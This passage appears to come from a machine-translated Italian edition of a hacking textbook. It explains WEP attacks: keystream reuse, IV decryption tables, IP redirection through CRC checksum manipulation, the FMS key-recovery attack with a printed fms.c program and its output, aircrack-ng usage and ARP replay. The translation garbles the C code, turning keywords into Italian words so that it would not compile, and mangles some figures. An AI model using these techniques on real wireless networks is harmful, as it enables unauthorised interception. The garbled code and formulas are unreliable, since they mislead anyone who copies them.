le risorse e la dedizione di un attaccante, questo tipo di attacco può o può
non essere fattibile.
Tim Newsham ha fornito un metodo di cracking efficace che attacca
punti deboli nell'algoritmo di generazione della chiave basato su password utilizzato
dalla maggior parte delle schede e dei punti di accesso a 40 bit (commercializzati come 64 bit). Il suo metodo
riduce efficacemente lo spazio delle chiavi a 40 bit fino a 21 bit, che possono essere violati

436 0x700

Pagina 451

in pochi minuti ipotizzando 10.000 crepe al secondo


(e in pochi secondi su un processore moderno). Maggiori informazioni su
i suoi metodi possono essere trovati su http://www.lava.net/~newsham/wlan.
Per reti WEP a 104 bit (commercializzate come 128 bit), la forzatura bruta non lo è
fattibile.

0x782 Riutilizzo del flusso di chiavi


Un altro potenziale problema con WEP risiede nel riutilizzo del keystream. Se due
i testi in chiaro ( P ) vengono sottoposti a XOR con lo stesso flusso di chiavi per produrne due separati
ciphertexts ( C ), XORing questi testi cifrati insieme cancellerà il file
keystream, risultando in due testi in chiaro XORed l'uno con l'altro.

C 1 = P 1 ⊕ RC4 (seme)

C 2 = P 2 ⊕ RC4 (seme)

C 1 ⊕ C 2 = [ P 1 ⊕ RC4 (seme)] ⊕ [ P 2 ⊕ RC4 (seme)] = P 1 ⊕ P 2

Da qui, se uno dei testi in chiaro è noto, l'altro può essere facilmente
recuperato. Inoltre, poiché i testi in chiaro in questo caso sono pacchetti Internet
con una struttura nota e abbastanza prevedibile, possono essere varie tecniche
impiegato per recuperare entrambi i testi in chiaro originali.
Il IV ha lo scopo di prevenire questi tipi di attacchi; senza di essa, ogni
il pacchetto verrebbe crittografato con lo stesso keystream. Se viene utilizzata una flebo diversa
per ogni pacchetto, anche i flussi di chiavi per i pacchetti saranno diversi. Tuttavia, se
lo stesso IV viene riutilizzato, entrambi i pacchetti verranno crittografati con lo stesso keystream.
Questa è una condizione che è facile da rilevare, poiché gli IV sono inclusi nel testo in chiaro
nei pacchetti crittografati. Inoltre, gli IV utilizzati per WEP sono solo 24 bit in formato
lunghezza, che garantisce quasi il riutilizzo degli IV. Supponendo che IVs
sono scelti a caso, statisticamente dovrebbe esserci un caso di riutilizzo del keystream
dopo soli 5.000 pacchetti.
Questo numero sembra sorprendentemente piccolo a causa di un problema controintuitivo
fenomeno abilistico noto come il paradosso del compleanno . Questo paradosso lo afferma
se 23 persone sono nella stessa stanza, due di queste persone dovrebbero condividere un compleanno.
Con 23 persone, ci sono (23 · 22) / 2, o 253, possibili coppie. Ogni coppia ha un
probabilità di successo di 1/365, o circa lo 0,27 percento, che corrisponde a
una probabilità di fallimento di 1 - (1/365), o circa il 99,726 percento. Alzando
questa probabilità alla potenza di 253, viene mostrata la probabilità complessiva di guasto
essere circa il 49,95%, il che significa che la probabilità di successo è solo a
poco più del 50 percento.
Funziona allo stesso modo con le collisioni IV. Con 5.000 pacchetti, ci sono
(5000 · 4999) / 2 o 12.497.500 possibili coppie. Ogni coppia ha una probabilità di
fallimento di 1 - (1/2 24 ). Quando questo viene elevato alla potenza del numero di
possibili coppie, la probabilità complessiva di fallimento è di circa il 47,5 percento
che c'è una probabilità del 52,5% di una collisione IV con 5.000 pacchetti:
5 ,000 ⋅ 4 ,999
-------------------
⎛ 1 ⎞ 2
1 - ⎝1 - -----
⎠ = 52,5Ψ
224

Cryptology 437
Pagina 452

Dopo che viene scoperta una collisione IV, alcune ipotesi plausibili sul
la struttura dei testi in chiaro può essere utilizzata per rivelare i testi in chiaro originali di
XORing i due testi cifrati insieme. Inoltre, se uno dei testi in chiaro è noto,
l'altro testo in chiaro può essere recuperato con un semplice XORing. Un metodo
di ottenere testi in chiaro noti potrebbe avvenire tramite posta indesiderata, dove il file
l'aggressore invia lo spam e la vittima controlla la posta crittografata
connessione senza fili.

0x783 Tabelle del dizionario di decrittografia basato su IV


Dopo che i testi in chiaro sono stati recuperati per un messaggio intercettato, il keystream per
anche quella IV sarà nota. Ciò significa che questo keystream può essere utilizzato per
decifrare qualsiasi altro pacchetto con lo stesso IV, a condizione che non sia più lungo del file
keystream recuperato. Nel tempo, è possibile creare una tabella di keystream
indicizzato da ogni possibile IV. Poiché ci sono solo 2 24 IV possibili, se 1.500
byte di keystream vengono salvati per ogni IV, la tabella richiederebbe solo circa
24 GB di spazio di archiviazione. Una volta creata una tabella come questa, tutte le successive vengono crittografate
i pacchetti possono essere facilmente decifrati.
Realisticamente, questo metodo di attacco richiederebbe molto tempo e
noioso. È un'idea interessante, ma ci sono modi molto più semplici per sconfiggere WEP.

Reindirizzamento IP 0x784
Un altro modo per decrittografare i pacchetti crittografati è ingannare il punto di accesso
facendo tutto il lavoro. Di solito, i punti di accesso wireless hanno una qualche forma di Internet
connettività e, in tal caso, è possibile un attacco di reindirizzamento IP. Primo, un file
il pacchetto crittografato viene acquisito e l'indirizzo di destinazione viene modificato in un file
Indirizzo IP controllato dall'autore dell'attacco, senza decrittografare il pacchetto. Poi il
il pacchetto modificato viene restituito al punto di accesso wireless, che verrà decrittografato
il pacchetto e inviarlo direttamente all'indirizzo IP dell'aggressore.
La modifica del pacchetto è resa possibile grazie al checksum CRC32
essendo una funzione lineare e non codificata. Ciò significa che il pacchetto può essere
gically modificato e il checksum risulterà ancora lo stesso.
Questo attacco presuppone anche che gli indirizzi IP di origine e di destinazione
sono conosciuti. Questa informazione è abbastanza facile da capire, basandosi solo su
gli schemi di indirizzamento IP di rete interna standard. Inoltre, alcuni casi di
Il riutilizzo di keystream a causa di collisioni IV può essere utilizzato per determinare gli indirizzi.
Una volta che l'indirizzo IP di destinazione è noto, questo valore può essere XORed con
l'indirizzo IP desiderato e l'intera operazione può essere XORed in posizione nel file
pacchetto crittografato. Lo XORing dell'indirizzo IP di destinazione verrà annullato,
lasciando dietro di sé l'indirizzo IP desiderato XORed con il keystream. Poi a
assicurarsi che il checksum rimanga lo stesso, l'indirizzo IP di origine deve essere
strategicamente modificato.
Ad esempio, supponiamo che l'indirizzo di origine sia 192.168.2.57 e il file
l'indirizzo di destinazione è 192.168.2.1. L'attaccante controlla l'indirizzo
123.45.67.89 e vuole reindirizzare il traffico lì. Questi indirizzi IP

438 0x700

Pagina 453

esistono nel pacchetto in forma binaria di parole a 16 bit di ordine alto e basso.
La conversione è abbastanza semplice:

Src IP = 192.168.2.57

SH = 192 · 256 + 168 = 50344

SL = 2 · 256 + 57 = 569

IP DST = 192.168.2.1

DH = 192 · 256 + 168 = 50344

DL = 2 · 256 + 1 = 513

Nuovo IP = 123.45.67.89

NH = 123 · 256 + 45 = 31533

NL = 67 · 256 + 89 = 17241

Il checksum verrà modificato da N H + N L - D H - D L , quindi questo valore deve


essere sottratto da qualche altra parte nel pacchetto. Poiché l'indirizzo di origine è
noto anche e non importa troppo, la parola a 16 bit di basso ordine di questo
L'indirizzo IP è un buon obiettivo:

S ' L = SL - ( NH + NL - DH - DL )

S ' L = 569 - (31533 + 17241-50344-513)

S ' L = 2652

Il nuovo indirizzo IP di origine dovrebbe quindi essere 192.168.10.92. Il


l'indirizzo IP di origine può essere modificato nel pacchetto crittografato utilizzando lo stesso
XORing trucco, e quindi i checksum dovrebbero corrispondere. Quando il pacchetto è
inviato al punto di accesso wireless, il pacchetto verrà decrittografato e inviato a
123.45.67.89, dove l'attaccante può recuperarlo.
Se l'attaccante ha la capacità di monitorare i pacchetti su un file
l'intera rete di classe B, l'indirizzo di origine non ha nemmeno bisogno di essere modificato.
Supponendo che l'attaccante avesse il controllo dell'intero 123.45. X . X gamma IP, il
la parola di ordine inferiore a 16 bit dell'indirizzo IP potrebbe essere scelta strategicamente per non farlo
disturbare il checksum. Se NL = DH + DL - NH , il checksum non verrà modificato.
Ecco un esempio:

NL = DH + DL - NH
NL = 50.344 + 513 - 31.533
N ' L = 82390

Il nuovo indirizzo IP di destinazione dovrebbe essere 123.45.75.124.

0x785 Fluhrer, Mantin e Shamir Attack


L'attacco di Fluhrer, Mantin e Shamir (FMS) è il più comune
ha usato l'attacco contro WEP, reso popolare da strumenti come AirSnort. Questo attacco

Cryptology 439

Pagina 454

è davvero sorprendente. Sfrutta i punti deboli della chiave-


algoritmo di schedulazione di RC4 e utilizzo di IV.
Ci sono valori IV deboli che perdono informazioni sulla chiave segreta
il primo byte del keystream. Poiché la stessa chiave viene utilizzata più e più volte con
IV diversi, se vengono raccolti abbastanza pacchetti con IV deboli, e il primo byte
del keystream è noto, la chiave può essere determinata. Fortunatamente, il primo byte
di un pacchetto 802.11b è l'intestazione snap, che è quasi sempre 0xAA . Questo
significa che il primo byte del keystream può essere facilmente ottenuto XORing il
primo byte crittografato con 0xAA .
Successivamente, è necessario localizzare IV deboli. Gli IV per WEP sono 24 bit, che trasmettono
tarda a tre byte. Gli IV deboli sono nella forma di ( A + 3, N - 1, X ), dove A è
il byte della chiave da attaccare, N è 256 (poiché RC4 funziona in modulo 256),
e X può essere qualsiasi valore. Quindi, se il byte zero del keystream è
attaccati, ci sarebbero 256 IV deboli nella forma di (3, 255, X ), dove X
va da 0 a 255. I byte del keystream devono essere attaccati in ordine,
quindi il primo byte non può essere attaccato fino a quando non si conosce il byte zero.
L'algoritmo stesso è piuttosto semplice. Innanzitutto, esegue i passaggi A + 3 di
Key Scheduling Algorithm (KSA). Questo può essere fatto senza conoscere il file
chiave, poiché l'IV occuperà i primi tre byte dell'array K. Se lo zero
byte della chiave è noto e A è uguale a 1, il KSA può essere lavorato fino al quarto
passo, poiché saranno noti i primi quattro byte dell'array K.
A questo punto, se S [0] o S [1] sono stati disturbati dall'ultimo passaggio, il
l'intero tentativo dovrebbe essere scartato. Detto più semplicemente, se j è minore di 2, il
tentativo dovrebbe essere scartato. Altrimenti, prendi il valore di j e il valore di
S [ A + 3] e sottrai entrambi dal primo byte del keystream (modulo
256, ovviamente). Questo valore sarà il byte chiave corretto circa il 5 percento del file
tempo ed effettivamente casuale meno del 95 percento delle volte. Se viene fatto
con IV abbastanza deboli (con valori variabili per X ), il byte chiave corretto può essere
determinato. Occorrono circa 60 IV per portare la probabilità al di sopra del 50 percento.
Dopo che un byte chiave è stato determinato, l'intero processo può essere ripetuto
determinare il prossimo byte di chiave, finché non viene rivelata l'intera chiave.
Per motivi di dimostrazione, RC4 verrà ridimensionato in modo che N sia uguale a 16
invece di 256. Ciò significa che tutto è modulo 16 invece di 256, e
tutti gli array sono 16 "byte" composti da 4 bit, invece di 256 byte effettivi.
Supponendo che la chiave sia (1, 2, 3, 4, 5) e il byte della chiave zero verrà attaccato,
A è uguale a 0. Ciò significa che gli IV deboli dovrebbero essere nella forma di (3, 15, X ). Nel
in questo esempio, X sarà uguale a 2, quindi il valore iniziale sarà (3, 15, 2, 1, 2, 3, 4, 5).
Usando questo seme, il primo byte dell'output del keystream sarà 9.

uscita = 9

A=0

IV = 3, 15, 2

Chiave = 1, 2, 3, 4, 5

Seme = IV concatenato con la chiave

K [] = 3 15 2 XXXXX 3 15 2 XXXXX

S [] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

440 0x700

Pagina 455

Poiché la chiave è attualmente sconosciuta, l' array K viene caricato con cosa
attualmente è noto e l' array S è riempito con valori sequenziali da 0 a
15. Quindi, j viene inizializzato a 0 e vengono eseguiti i primi tre passaggi di KSA.
Ricorda che tutta la matematica viene eseguita modulo 16.

Fase uno KSA:

io = 0

j=j+S[i]+K[i]

j=0+0+3=3

Scambia S [ i ] e S [ j ]

K [] = 3 15 2 XXXXX 3 15 2 XXXXX

S [] = 3 1 2 0 4 5 6 7 8 9 10 11 12 13 14 15

Fase due KSA:

io = 1

j=j+S[i]+K[i]

j = 3 + 1 + 15 = 3

Scambia S [ i ] e S [ j ]
K [] = 3 15 2 XXXXX 3 15 2 XXXXX
S [] = 3 0 2 1 4 5 6 7 8 9 10 11 12 13 14 15

Fase tre KSA:

io = 2

j=j+S[i]+K[i]

j=3+2+2=7

Scambia S [ i ] e S [ j ]

K [] = 3 15 2 XXXXX 3 15 2 XXXXX

S [] = 3 0 7 1 4 5 6 2 8 9 10 11 12 13 14 15

A questo punto, j non è inferiore a 2, quindi il processo può continuare. S [3] è 1, j è


7 e il primo byte dell'output del keystream era 9. Quindi il byte zero della chiave
dovrebbe essere 9 - 7 - 1 = 1.
Queste informazioni possono essere utilizzate per determinare il byte successivo della chiave,
usando IV nella forma di (4, 15, X ) e lavorando dal KSA fino al
quarto passo. Usando IV (4, 15, 9), il primo byte del keystream è 6.

uscita = 6

A=0

IV = 4, 15, 9

Chiave = 1, 2, 3, 4, 5

Cryptology 441

Pagina 456

Seme = IV concatenato con la chiave

K [] = 4 15 9 1 XXXX 4 15 9 1 XXXX

S [] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Fase uno KSA:

io = 0

j=j+S[i]+K[i]

j=0+0+4=4

Scambia S [ i ] e S [ j ]

K [] = 4 15 9 1 XXXX 4 15 9 1 XXXX

S [] = 4 1 2 3 0 5 6 7 8 9 10 11 12 13 14 15

Fase due KSA:

io = 1

j=j+S[i]+K[i]

j = 4 + 1 + 15 = 4

Scambia S [ i ] e S [ j ]

K [] = 4 15 9 1 XXXX 4 15 9 1 XXXX

S [] = 4 0 2 3 1 5 6 7 8 9 10 11 12 13 14 15

Fase tre KSA:

io = 2

j=j+S[i]+K[i]

j = 4 + 2 + 9 = 15

Scambia S [ i ] e S [ j ]

K [] = 4 15 9 1 XXXX 4 15 9 1 XXXX

S [] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2

Fase quattro KSA:

io = 3

j=j+S[i]+K[i]

j = 15 + 3 + 1 = 3

Scambia S [ i ] e S [ j ]

K [] = 4 15 9 1 XXXX 4 15 9 1 XXXX

S [] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2

output - j - S [4] = chiave [1]

6-3-1=2

442 0x700

Pagina 457

Anche in questo caso, viene determinato il byte chiave corretto. Naturalmente, per il bene di
dimostrazione, i valori per X sono stati scelti strategicamente. Per darti un
vero senso della natura statistica dell'attacco contro un'implementazione RC4 completa
mentation, è stato incluso il seguente codice sorgente:

fms.c
#include <stdio.h>

/ * Cifrario a flusso RC4 * /


int RC4 (int * IV, int * key) {
int K [256];
int S [256];
int seed [16];
int i, j, k, t;

// Seme = IV + chiave;
per (k = 0; k <3; k ++)
seme [k] = IV [k];
per (k = 0; k <13; k ++)
seme [k + 3] = chiave [k];

// - = Key Scheduling Algorithm (KSA) = -


// Inizializza gli array.
for (k = 0; k <256; k ++) {
S [k] = k;
K [k] = seme [k% 16];
}

j = 0;
for (i = 0; i <256; i ++) {
j = (j + S [i] + K [i])% 256;
t = S [i]; S [i] = S [j]; S [j] = t; // Scambia (S [i], S [j]);
}

// Primo passo di PRGA per il primo byte del keystream


i = 0;
j = 0;

i = i + 1;
j = j + S [i];

t = S [i]; S [i] = S [j]; S [j] = t; // Scambia (S [i], S [j]);

k = (S [i] + S [j])% 256;

ritorno S [k];
}

int main (int argc, char * argv []) {


int K [256];
int S [256];

int IV [3];

Cryptology 443

Pagina 458

chiave int [13] = {1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213};
int seed [16];
int N = 256;
int i, j, k, t, x, A;
int keystream, keybyte;

int max_result, max_count;


risultati int [256];

int known_j, known_S;

if (argc <2) {
printf ("Utilizzo:% s <keybyte per attaccare> \ n", argv [0]);
uscita (0);
}
A = atoi (argv [1]);
se ((A> 12) || (A <0)) {
printf ("keybyte deve essere compreso tra 0 e 12. \ n");
uscita (0);
}

per (k = 0; k <256; k ++)


risultati [k] = 0;

IV [0] = A + 3;
IV [1] = N - 1;

for (x = 0; x <256; x ++) {


IV [2] = x;

keystream = RC4 (IV, chiave);


printf ("Utilizzando IV: (% d,% d,% d), il primo byte del keystream è% u \ n",
IV [0], IV [1], IV [2], keystream);

printf ("Sto eseguendo i primi% d passaggi di KSA ..", A + 3);

// Seme = IV + chiave;
per (k = 0; k <3; k ++)
seme [k] = IV [k];
per (k = 0; k <13; k ++)
seme [k + 3] = chiave [k];

// - = Key Scheduling Algorithm (KSA) = -


// Inizializza gli array.
for (k = 0; k <256; k ++) {
S [k] = k;
K [k] = seme [k% 16];
}

j = 0;
for (i = 0; i <(A + 3); i ++) {
j = (j + S [i] + K [i])% 256;
t = S [i];

444 0x700
Pagina 459

S [i] = S [j];
S [j] = t;
}

if (j <2) {// If j <2, then S [0] or S [1] have been disturbed.


printf ("S [0] o S [1] sono stati disturbati, scartando .. \ n");
} altro {
noto_j = j;
noto_S = S [A + 3];
printf ("all'iterazione KSA #% d, j =% d e S [% d] =% d \ n",
A + 3, noto_j, A + 3, noto_S);
keybyte = keystream - known_j - known_S;

while (keybyte <0)


keybyte = keybyte + 256;
printf ("previsione chiave [% d] =% d -% d -% d =% d \ n",
A, keystream, known_j, known_S, keybyte);
risultati [keybyte] = risultati [keybyte] + 1;
}
}
max_result = -1;
max_count = 0;

for (k = 0; k <256; k ++) {


if (max_count <results [k]) {
max_count = risultati [k];
max_result = k;
}
}
printf ("\ nTabella di frequenza per la chiave [% d] (* = più frequente) \ n", A);
per (k = 0; k <32; k ++) {
for (i = 0; i <8; i ++) {
t = k + i * 32;
if (max_result == t)
printf ("% 3d% 2d * |", t, risultati [t]);
altro
printf ("% 3d% 2d |", t, risultati [t]);
}
printf ("\ n");
}

printf ("\ n [Actual Key] = (");


per (k = 0; k <12; k ++)
printf ("% d,", chiave [k]);
printf ("% d) \ n", chiave [12]);

printf ("la chiave [% d] è probabilmente% d \ n", A, max_result);


}

Questo codice esegue l'attacco FMS su WEP a 128 bit (chiave a 104 bit, IV a 24 bit),
utilizzando ogni possibile valore della X . Il byte chiave da attaccare è l'unico argomento,

Cryptology 445

Pagina 460

e la chiave è hardcoded nell'array di chiavi . L'output seguente mostra il file


compilazione ed esecuzione del codice fms.c per craccare una chiave RC4.

lettore @ hacking: ~ / booksrc $ gcc -o fms fms.c


lettore @ hacking: ~ / booksrc $ ./fms
Utilizzo: ./fms <keybyte to attack>
lettore @ hacking: ~ / booksrc $ ./fms 0
Utilizzando IV: (3, 255, 0), il primo byte del flusso di chiavi è 7
Eseguendo i primi 3 passaggi di KSA .. all'iterazione KSA n. 3, j = 5 e S [3] = 1
previsione chiave [0] = 7 - 5 - 1 = 1
Usando IV: (3, 255, 1), il primo byte del keystream è 211
Eseguendo i primi 3 passaggi di KSA .. all'iterazione KSA n. 3, j = 6 e S [3] = 1
previsione key [0] = 211 - 6 - 1 = 204
Utilizzando IV: (3, 255, 2), il primo byte del flusso di chiavi è 241
Eseguendo i primi 3 passaggi di KSA .. all'iterazione KSA n. 3, j = 7 e S [3] = 1
previsione chiave [0] = 241 - 7 - 1 = 233

.: [output tagliato] :.

Utilizzando IV: (3, 255, 252), il primo byte del flusso di chiavi è 175
Durante i primi 3 passaggi di KSA .. S [0] o S [1] sono stati disturbati,
scartando ..
Utilizzando IV: (3, 255, 253), il primo byte del flusso di chiavi è 149
Eseguendo i primi 3 passaggi di KSA .. all'iterazione KSA n. 3, j = 2 e S [3] = 1
previsione key [0] = 149 - 2 - 1 = 146
Utilizzando IV: (3, 255, 254), il primo byte del flusso di chiavi è 253
Eseguendo i primi 3 passaggi di KSA .. all'iterazione KSA n. 3, j = 3 e S [3] = 2
previsione chiave [0] = 253 - 3 - 2 = 248
Utilizzando IV: (3, 255, 255), il primo byte del flusso di chiavi è 72
Eseguendo i primi 3 passaggi di KSA .. all'iterazione KSA n. 3, j = 4 e S [3] = 1
previsione key [0] = 72 - 4 - 1 = 67

Tabella delle frequenze per la chiave [0] (* = più frequente)


0 1 | 32 3 | 64 0 | 96 1 | 128 2 | 160 0 | 192 1 | 224 3 |
1 10 * | 33 0 | 65 1 | 97 0 | 129 1 | 161 1 | 193 1 | 225 0 |
2 0 | 34 1 | 66 0 | 98 1 | 130 1 | 162 1 | 194 1 | 226 1 |
3 1 | 35 0 | 67 2 | 99 1 | 131 1 | 163 0 | 195 0 | 227 1 |
4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 2 | 228 0 |
5 0 | 37 1 | 69 0 | 101 1 | 133 0 | 165 2 | 197 2 | 229 1 |
6 0 | 38 0 | 70 1 | 102 3 | 134 2 | 166 1 | 198 1 | 230 2 |
7 0 | 39 0 | 71 2 | 103 0 | 135 5 | 167 3 | 199 2 | 231 0 |
8 3 | 40 0 | 72 1 | 104 0 | 136 1 | 168 0 | 200 1 | 232 1 |
9 1 | 41 0 | 73 0 | 105 0 | 137 2 | 169 1 | 201 3 | 233 2 |
10 1 | 42 3 | 74 1 | 106 2 | 138 0 | 170 1 | 202 3 | 234 0 |
11 1 | 43 2 | 75 1 | 107 2 | 139 1 | 171 1 | 203 0 | 235 0 |
12 0 | 44 1 | 76 0 | 108 0 | 140 2 | 172 1 | 204 1 | 236 1 |
13 2 | 45 2 | 77 0 | 109 0 | 141 0 | 173 2 | 205 1 | 237 0 |
14 0 | 46 0 | 78 2 | 110 2 | 142 2 | 174 1 | 206 0 | 238 1 |
15 0 | 47 3 | 79 1 | 111 2 | 143 1 | 175 0 | 207 1 | 239 1 |
16 1 | 48 1 | 80 1 | 112 0 | 144 2 | 176 0 | 208 0 | 240 0 |
17 0 | 49 0 | 81 1 | 113 1 | 145 1 | 177 1 | 209 0 | 241 1 |
18 1 | 50 0 | 82 0 | 114 0 | 146 4 | 178 1 | 210 1 | 242 0 |

446 0x700

Pagina 461

19 2 | 51 0 | 83 0 | 115 0 | 147 1 | 179 0 | 211 1 | 243 0 |


20 3 | 52 0 | 84 3 | 116 1 | 148 2 | 180 2 | 212 2 | 244 3 |
21 0 | 53 0 | 85 1 | 117 2 | 149 2 | 181 1 | 213 0 | 245 1 |
22 0 | 54 3 | 86 3 | 118 0 | 150 2 | 182 2 | 214 0 | 246 3 |
23 2 | 55 0 | 87 0 | 119 2 | 151 2 | 183 1 | 215 1 | 247 2 |
24 1 | 56 2 | 88 3 | 120 1 | 152 2 | 184 1 | 216 0 | 248 2 |
25 2 | 57 2 | 89 0 | 121 1 | 153 2 | 185 0 | 217 1 | 249 3 |
26 0 | 58 0 | 90 0 | 122 0 | 154 1 | 186 1 | 218 0 | 250 1 |
27 0 | 59 2 | 91 1 | 123 3 | 155 2 | 187 1 | 219 1 | 251 1 |
28 2 | 60 1 | 92 1 | 124 0 | 156 0 | 188 0 | 220 0 | 252 3 |
29 1 | 61 1 | 93 1 | 125 0 | 157 0 | 189 0 | 221 0 | 253 1 |
30 0 | 62 1 | 94 0 | 126 1 | 158 1 | 190 0 | 222 1 | 254 0 |
31 0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 0 | 255 0 |

[Chiave effettiva] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
la chiave [0] è probabilmente 1
lettore @ hacking: ~ / booksrc $
lettore @ hacking: ~ / booksrc $ ./fms 12
Utilizzando IV: (15, 255, 0), il primo byte del flusso di chiavi è 81
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA # 15, j = 251 e S [15] = 1
previsione chiave [12] = 81 - 251 - 1 = 85
Utilizzando IV: (15, 255, 1), il primo byte del flusso di chiavi è 80
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA # 15, j = 252 e S [15] = 1
previsione chiave [12] = 80 - 252 - 1 = 83
Utilizzando IV: (15, 255, 2), il primo byte del flusso di chiavi è 159
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA n. 15, j = 253 e S [15] = 1
previsione chiave [12] = 159 - 253 - 1 = 161

.: [output tagliato] :.

Utilizzando IV: (15, 255, 252), il primo byte del flusso di chiavi è 238
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA # 15, j = 236 e S [15] = 1
previsione chiave [12] = 238 - 236 - 1 = 1
Utilizzando IV: (15, 255, 253), il primo byte del flusso di chiavi è 197
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA # 15, j = 236 e S [15] = 1
previsione chiave [12] = 197 - 236 - 1 = 216
Utilizzando IV: (15, 255, 254), il primo byte del flusso di chiavi è 238
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA # 15, j = 249 e S [15] = 2
previsione chiave [12] = 238 - 249 - 2 = 243
Utilizzando IV: (15, 255, 255), il primo byte del keystream è 176
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA n. 15, j = 250 e S [15] = 1
previsione chiave [12] = 176 - 250 - 1 = 181

Tabella delle frequenze per la chiave [12] (* = più frequente)


0 1 | 32 0 | 64 2 | 96 0 | 128 1 | 160 1 | 192 0 | 224 2 |
1 2 | 33 1 | 65 0 | 97 2 | 129 1 | 161 1 | 193 0 | 225 0 |
2 0 | 34 2 | 66 2 | 98 0 | 130 2 | 162 3 | 194 2 | 226 0 |
3 2 | 35 0 | 67 2 | 99 2 | 131 0 | 163 1 | 195 0 | 227 5 |
4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 1 | 228 1 |
5 3 | 37 0 | 69 3 | 101 2 | 133 0 | 165 2 | 197 0 | 229 3 |
6 1 | 38 2 | 70 2 | 102 0 | 134 0 | 166 2 | 198 0 | 230 2 |
7 2 | 39 0 | 71 1 | 103 0 | 135 0 | 167 3 | 199 1 | 231 1 |
8 1 | 40 0 | 72 0 | 104 1 | 136 1 | 168 2 | 200 0 | 232 0 |

Cryptology 447

Pagina 462

9 0 | 41 1 | 73 0 | 105 0 | 137 1 | 169 1 | 201 1 | 233 1 |


10 2 | 42 2 | 74 0 | 106 4 | 138 2 | 170 0 | 202 1 | 234 0 |
11 3 | 43 1 | 75 0 | 107 1 | 139 3 | 171 2 | 203 1 | 235 0 |
12 2 | 44 0 | 76 0 | 108 2 | 140 2 | 172 0 | 204 0 | 236 1 |
13 0 | 45 0 | 77 0 | 109 1 | 141 1 | 173 0 | 205 2 | 237 4 |
14 1 | 46 1 | 78 1 | 110 0 | 142 3 | 174 1 | 206 0 | 238 1 |
15 1 | 47 2 | 79 1 | 111 0 | 143 0 | 175 1 | 207 2 | 239 0 |
16 2 | 48 0 | 80 1 | 112 1 | 144 3 | 176 0 | 208 0 | 240 0 |
17 1 | 49 0 | 81 0 | 113 1 | 145 1 | 177 0 | 209 0 | 241 0 |
18 0 | 50 2 | 82 0 | 114 1 | 146 0 | 178 0 | 210 1 | 242 0 |
19 0 | 51 0 | 83 4 | 115 1 | 147 0 | 179 1 | 211 4 | 243 2 |
20 0 | 52 1 | 84 1 | 116 4 | 148 0 | 180 1 | 212 1 | 244 1 |
21 0 | 53 1 | 85 1 | 117 0 | 149 2 | 181 1 | 213 12 * | 245 1 |
22 1 | 54 3 | 86 0 | 118 0 | 150 1 | 182 2 | 214 3 | 246 1 |
23 0 | 55 3 | 87 0 | 119 1 | 151 0 | 183 0 | 215 0 | 247 0 |
24 0 | 56 1 | 88 0 | 120 0 | 152 2 | 184 0 | 216 2 | 248 0 |
25 1 | 57 0 | 89 0 | 121 2 | 153 0 | 185 2 | 217 1 | 249 0 |
26 1 | 58 0 | 90 1 | 122 0 | 154 1 | 186 0 | 218 1 | 250 2 |
27 2 | 59 1 | 91 1 | 123 0 | 155 1 ​| 187 1 | 219 0 | 251 2 |
28 2 | 60 2 | 92 1 | 124 1 | 156 1 | 188 1 | 220 0 | 252 0 |
29 1 | 61 1 | 93 3 | 125 2 | 157 2 | 189 2 | 221 0 | 253 1 |
30 0 | 62 1 | 94 0 | 126 0 | 158 1 | 190 1 | 222 1 | 254 2 |
31 0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 2 | 255 0 |

[Chiave effettiva] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
la chiave [12] è probabilmente 213
lettore @ hacking: ~ / booksrc $

Questo tipo di attacco ha avuto così tanto successo che un nuovo protocollo wireless
chiamato WPA dovrebbe essere utilizzato se si prevede una qualsiasi forma di sicurezza. Però,
esiste ancora un numero incredibile di reti wireless protette solo da
WEP. Al giorno d'oggi, esistono strumenti abbastanza robusti per eseguire attacchi WEP. Uno
un esempio notevole è aircrack, che è stato incluso con il LiveCD;
tuttavia, richiede hardware wireless, che potresti non avere. C'è
molta documentazione su come utilizzare questo strumento, che è in costante
sviluppo. La prima pagina di manuale dovrebbe farti iniziare.

448 0x700

Pagina 463

AIRCRACK-NG (1) AIRCRACK-NG (1)

NOME
aircrack-ng è un cracker di chiavi 802.11 WEP / WPA-PSK.

SINOSSI
aircrack-ng [opzioni] <file .cap / .ivs>

DESCRIZIONE
aircrack-ng è un cracker di chiavi 802.11 WEP / WPA-PSK. Implementa così
chiamato Fluhrer - Mantin - Shamir (FMS), insieme ad alcuni nuovi attacchi
da un talentuoso hacker di nome KoreK. Quando è stato eseguito un numero sufficiente di pacchetti crittografati
raccolto, aircrack-ng può recuperare quasi istantaneamente la chiave WEP.

OPZIONI
Opzioni comuni:

-a <amode>
Forza la modalità di attacco, 1 o wep per WEP e 2 o wpa per WPA-PSK.

-e <essid>
Seleziona la rete di destinazione in base all'ESSID. Questa opzione è anche
richiesto per il cracking WPA se l'SSID è nascosto.

Di nuovo, consulta Internet per problemi hardware. Questo programma è diventato popolare
una tecnica intelligente per raccogliere IV. In attesa di raccogliere abbastanza IV da
i pacchetti richiederebbero ore o addirittura giorni. Ma poiché il wireless è ancora una rete,
ci sarà traffico ARP. Poiché la crittografia WEP non modifica la dimensione di
il pacchetto, è facile scegliere quali sono ARP. Questo attacco cattura
un pacchetto crittografato delle dimensioni di una richiesta ARP e quindi riprodotto
alla rete migliaia di volte. Ogni volta, il pacchetto viene decrittografato
e inviato alla rete, e viene inviata una risposta ARP corrispondente.
Queste risposte extra non danneggiano la rete; tuttavia, generano un file
pacchetto separato con un nuovo IV. Usando questa tecnica di solleticare la rete,
È possibile raccogliere un numero sufficiente di IV per violare la chiave WEP in pochi minuti.

Cryptology 449

Pagina 465
464
